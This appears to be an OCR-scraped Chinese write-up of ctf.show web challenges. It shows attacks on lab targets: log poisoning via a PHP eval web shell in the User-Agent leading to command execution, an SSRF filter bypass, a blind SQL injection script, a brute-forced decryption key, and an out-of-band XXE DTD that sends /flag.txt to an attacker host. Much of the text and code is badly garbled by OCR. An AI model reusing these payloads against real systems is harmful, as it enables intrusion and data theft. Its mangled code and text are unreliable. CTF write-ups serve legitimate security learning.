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<?php

if(isset($_GET['file']) X
$file = $_GET[file'];
if(preg_match( , $file)){
(o] =1 )3
}else{

include($file);
ki

Lelse{
highlight_file(__FILE_ );
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SRR, SefuzzE TR Rr AR A

Request | Payload | Status | Error | Timeout | Length 4| Comment |
29 /var/log/apache2/error.log 200 [m] a 550
35 /opt/apache/conf/httpd.conf 200 @] @) 550
50 /var/log/apache2/access.log 200 (@] (@] 550
16 /var/log/apache2/access_log 200 @] @] 552
18 /var/log/apache2/access.log 200 (@] (@] 552
34 /opt/apache2/conf/httpd.co... 200 @] @] 552
24 /usr/local/apache/logs/err.. 200 (@] O 562
25 /usr/local/apache/logs/err... 200 @] @] 562
13 /usr/local/apache/logs/acc... 200 (@] (@] 564
14 /usr/local/apache/logs/acc... 200 (@] (@] 564
46 /opt/bitnami/apache2/logs/... 200 (@] (@] 566
45 /opt/bitnami/apache2/logs/... 200 O O 568
19 /var/log/apache2/other_vh... 200 @] O 576
33 | /var/log/nginx/access.log | 200 O O 11448

Request | Response
Raw | Headers | Hex

ITTP/1.1 200 OK

jerver: nginx/1.14.0 (Ubuntu)

)ate: Thu, 29 Oct 2020 14:33:24 GMT
‘ontent-Type: text/html; charset=UTF-8
‘onnection: close

(-Powered-By: PHP/7.3.11
‘ontent-Length: 11253

.72.12.0.3 - - [29/0ct/2020:14:29:29 +0000] "GET /robots.txt HTTP/1.1" 200 1516 "-" "Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:56.0) Gecko/20100101 Firefo
.72.12.0.3 - - [29/0ct/2020:14:29:29 +0000] "GET / HTTP/1.1" 200 1516 "-" "Mozilla/5.0 (Macintosh; Intel Mac O0S X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0"
.72.12.0.3 - - [29/0ct/2020:14:29:29 +0000] "GET /favicon.ico HTTP/1.1" 200 1516 "-" "Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:56.0) Gecko/20100101 Firef
.72.12.0.3 - - [29/0ct/2020:14:29:29 +0000] "GET / HTTP/1.1" 200 1516 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0"
.72.12.0.3 - - [29/0ct/2020:14:29:30 +0000] "GET / HTTP/1.1" 200 1516 " "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0"
.72.12.0.3 - - [29/0ct/2020:14:29:30 +0000] "GET / HTTP/1.1" 200 1516 " "Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0"
EE R TPA F20/AAL /AANA.14.%0.90 1AAART "Aom /[ mmmn/1 1% AAA 1E1E " M Maani11a/E A (Manimbianh. Teial Man AS ¥ 1A 1E. we:EL AV Aanla/ANTAANTAT Biwnafaw/EC AN

KB H £ /varllog/inginx/access.loghl LME A, FIFH HERXHEE
Biduser-agentiE A —AJIEAR D

<?php eval($_POST[cmd])?>

[ Dashboard TTarget T Proxy T Intruder T Repeater TSeuuen[er T Decoder T Comparer T Extender T Project options T User options ]

J’ Intercept T HTTP history TW&hSu:kets history IOptiDns ]

ﬁ Request to http://172.31.8.213:80

Forward J l Drop J | Intercept is on Action
mm Headers | Hex

Name | value L
GET S HTTP/L.1
Host 172.31.8.213 L
User-Agent [<?php @eval(s_POST[cmd])?>
Accept text/htmlapplication/xhtml+xml,application /xml;q=0.9,*/*q=0.8 L
Accept-Language zh-CM,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding gzip, deflate L
Cookie PHPSESSID=riuaujobkkkejtm47jnssf7jgh
X-Forwarded-For 8.8.88
Connection close
Upgrade-Insecure-Requests 1

INT = & SQLT XSST Encryption™ Encoding™ Other™

@ LoadURL http://efbbd765-75eb-451b-a976-9b64f18781be chall.ctf.show,?file=/var/log/nginx/access.log
i}

B spituRL
» Execute

Enable Postdata | Enable Referrer
Post data

cmd=system(ls /');

172.12.0.3 - - [29/0ct/2020: 14 39 41 +0000] "GET / HTTP/1 1" 200 1516 e

in a future version of PHP) i in /var/log/nglnx/access log on line 1

X . 2020:14:39:43 +0000] "GET /robots.txt HTTP/1.1" 200 1516 "-""Mox:
Gecko/20100101 F|refox/56 O" 172 12 03-- [29/0ct/2020 14:39:44 +0000] "GET /favicon.ico HTTP/1.1" 200 1516 "-" "Mozilla/5.0 (Macintosh; Intel Mac
172.12.0.3 - - [29/0¢t/2020:14:39:59 +0000] "POST /var/log/nginx/access.log HTTP/1.1" 200 1516 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:!
/2020:14:40:00 +0000] "POST /var/log/nginx/access.log HTTP/1.1" 200 1516 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/2010010
"POST /var/log/nginx/access.log HTTP/1.1" 200 1516 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0" 172.12.(
/nginx/access.log HTTP/1.1" 200 1363 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0" 172.12.0.3 - - [29/Oct/2
HTTP/1.1" 200 413 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0" 172.12.0.3 - - [29/0ct/2020:14:41:04 +000i
"-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0" 172.12.0.3 - - [29/0¢t/2020:14:41:04 +0000] "POST /‘7fllf=—/var

M nicdmal: ladal AMlaa MO Y A0 AF . waiFA AN M anlcalANANANANA Munfa iFA Al 470 4N N A FANIMALINAAN.4 A.44.0n 4 . ANAAT INAOT [A8ila homwllaalecioefoan~.

cmd=system('cat /flag.txt’);
flag{7e240327-1dc0-468f-8084-6fcbfa7c5ede}
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if(isset($_GET[url']))}{
Surl =$ _GET['url];
$protocol = substr($url, 0,7);
if($protocol A

die(
¥
if(preg_match(
die(
¥

system( Surl);

RonflagfiEM &, EREFENIEM, JUAERK
—R¥.HR. gt

payload

url=http://192. 168. 7. 68/flag

TR Reip bk BEAT 1 ) B 4R AE 2R p it ) B

+75 k) = COA80744

T3 = 3232237380

— 33 = 11000000101010000000011101000100
ERFEAXEAGEHFO0, BrALEEH
flag{941a4760-f6d1-4eb4-bfc7-a9148e602f52}

web2 W &2
fuzz
[C] @ Intruder attack 1

Attack Save Columns

j Results TTarget T Positions T Payloads T Options ]

| Filter: Showing all items

Request | Payload | Status | Error | Timeout | Length 4 | Comment |
33 . 200 (@] (@] 600
34 A 200 O d 600
38 CAST 200 O O 600
39 COLUMN 200 O a 600
40 COUNT 200 ()] g 600
41 CREATE 200 O O 600
42 END 200 O O 600
43 case 200 O a 600
45 when 200 O O 600
49 + 200 O O 600
50 length 200 ()] a 600
51 REVERSE 200 O (@] 600
52 200 O O 600
55 database 200 O a 600
ca laft 200 ) m a0N

Request | Response ]

J Raw T Headers T Hex T HTML T Render ]

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Thu, 29 Oct 2020 14:22:57 GMT

R yEr, BREA/REE

payload:
id=1/case(ord(substr((database())from({0})for(1))))when({1})then(2)else(3)end.format(i,j)
TP TES, if BN Hcase...when...then...else...end# A B 5id,

substrif [13€ 5 B substr(...from. . .for.. /X & geit



http://mo.ab126.com/system/2859.html

import requests

url

for i in (1, 128):
forjin (38, 126):
urls = url+payload. ()
request = requests.get(urls)
if in request.text:

flag 1)
print(flag)
break™

web3 W &

HEEEIR
http://e5bf3a27-712a-4ab8-89de-bc7a444a8334.chall.ctf.show/showimage.php?image=261lu8 3MIDw=

http://e5bf3a27-712a-4ab8-89de-bc7a444a8334.chall.ctf.show/showimage.php

BE G

if(isset($_GET] DX
$image=$ GET[ I;
$str = openssl|_decrypt($image, , Skey);
if(file_exphpists($str)){
header(

echo file_get_contents($str);

}

helse{
highlight_file(__FILE_);

B RN

/showlmage.php?image=Z6llu83MIDw=

B DA B A SO 4 R Z61u83MIDW=2 it bf-ecb B0 key 8 B 1), Fi B keyHIE BT R
substr(md5(‘ctfshow’.rand()),3,8);

H#rand() B, FHEEBSEOAT, WiRE

0 Flgetrandmax() 8] i) Oy B L4 %

getrandmax() & HUR Bl FEALECR] Gk Bl KB K ME, BEARA LRI AT 347 B8R 18 tkey 1H




<?php
for($i=0;$i<getrandmax();$i
$key = substr(md5(
$image ;
$str = openssl|_decrypt($image, , Skey);
if(strpos($str,"gif") or strpos($str, ) or strpos($str, )N
print($str."\n");

print($i."\n");
print($key."\n");
break;

}

$str1 = openssl_encrypt(
print($str1);
7>

83 str1 AN6b8BA8jmOSpmTZGIOisw==

!
http://e5bf3a27-712a-4ab8-89de-bc7a444a8334.chall.ctf.show/showimage.php?image=N6bf8Bd8jm0SpmTZGIOisw==
T #45 Flflag

Skey = '5a78dbb4';
$flag = 'flag{75718c46-a183-4d59-ba2c-b517c717a1b9}';
7>
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BHEPE, commo.js i

var ret =

$.ajax({
tyvpe: POST,
url: " api.php’,
async : false,
datalype: ~ json’,
data: {

api: http://flash. weather. com. cn/wmaps,/xml/city. xml’,
citvicity
success: function(data) {
ret = datal msg ];
1)

return ret;

A LAE BlajaxiE K T api.phpiE L, S#hapificity, 1IE¥iEREE

D A i

R Ossa Dews Omm O wwan Cue O [EGEE © 78 B OB&®O® X

W EEE) HTML Css S XHR A EiR JRIK Flesh WS EEz [EEEE 3 URL ED
ik e E =) e 8 xh pEw |s128 |10248 i1s30 Cookie 3 ] SR

GET / # 9576edf-b622-427... @ document html

8lAFTH [~ Flms

script is

api: http/flash.weather.com.cr/wmaps/xml/cityxm

GET Jisor/ ©xhr json 320 FF city: Fuzhou

POST api.php fa 95(76cdf-b622-427... 15 hr html 155 %

— 195 m:

AT DL E 2@ postiR TS HiFRXANE D

INT ~| = & sQL- XSS Encryption- Encoding- Other-
@ Load URL  httpy//95f76edf b622-427e-8624-c5%53b20086.chall.ctf show/api.php
B splitURL
b Exeeute
Enable Post data [ Enable Referrer

Post data P o ther.com.ci

{"success™true,"msg":"\u6765\u81ea\u798f\u6e05\u5e02\u7684\u9053\u53cb,\u4f60\u90a3\u9lcc\u7 3b0\u5728\u662A\u667M\usfec\u591a\udedl \u9dce\us411\udeda\udelc\us317\u98ced-5\u7ea7\usfec\us317\u98ce3-Mu7ear"}

G DEEs Heus Owae (Ossess Cux Ome S0 S#8 BEHEEODE X
W EE WML Css Js XHR Ik Eiff Bk Flash Ws Bt [O=mEs i URL El
= ik S E =] = £ Kb 0o le0®H  |126® 19280 2564 Cookic B wE R

Ya 95§76edf-b622-427... 15 document html 155 %7

city: fuzhou

apit httpy//flash.weather.com.cn/wmaps/xml/city xeml

city@IRT, api/RERRRED, xmiiBE 51 BlxxeF| MBI, BAEBBRT
HARFERAN X, ipHE KRS HRpER
evil.dtd:

<IENTITY % file SYSTEM "PHP://filter/read=convert.base64-encode/resource=/flag.txt" >
<IENTITY % all "<!ENTITY xxe SYSTEM 'http://ip/?%file;'>">

%aII;

evil.xml:

<IDOCTYPE ANY]
<IENTITY % xxe SYSTEM "http://ip/evil.dtd">
Yoxxe;

>




BRI EAEE H C RSS2
IG5 )
http://95f76edf-b622-427e-86e4-c5fc53b20086.chall.ctf.show/api.php

post:city=fuzhou&api=http
GE

Warning: DOMDocument::loadXML(): StartTag: invalid element name in http://ip/?ZmxhZ3tIN2U2ZmEQ0Zi0OwNzc4L TRMNmMMtODF mMS1mNmYZ

zgyZTdmOTd9Cg==, line: 1 in /var/www/html/api.php on line 20

K ZmxhZ3tIN2U2ZmE0ZiOwNzc4L TRMNMMtODFmMS 1mNmYzNzgyZTdmOTd9Cg==
base64f#iY J5 i 2&flag
flag{e7e6fadf-0778-4f6¢c-81f1-f6f3782e7f97}
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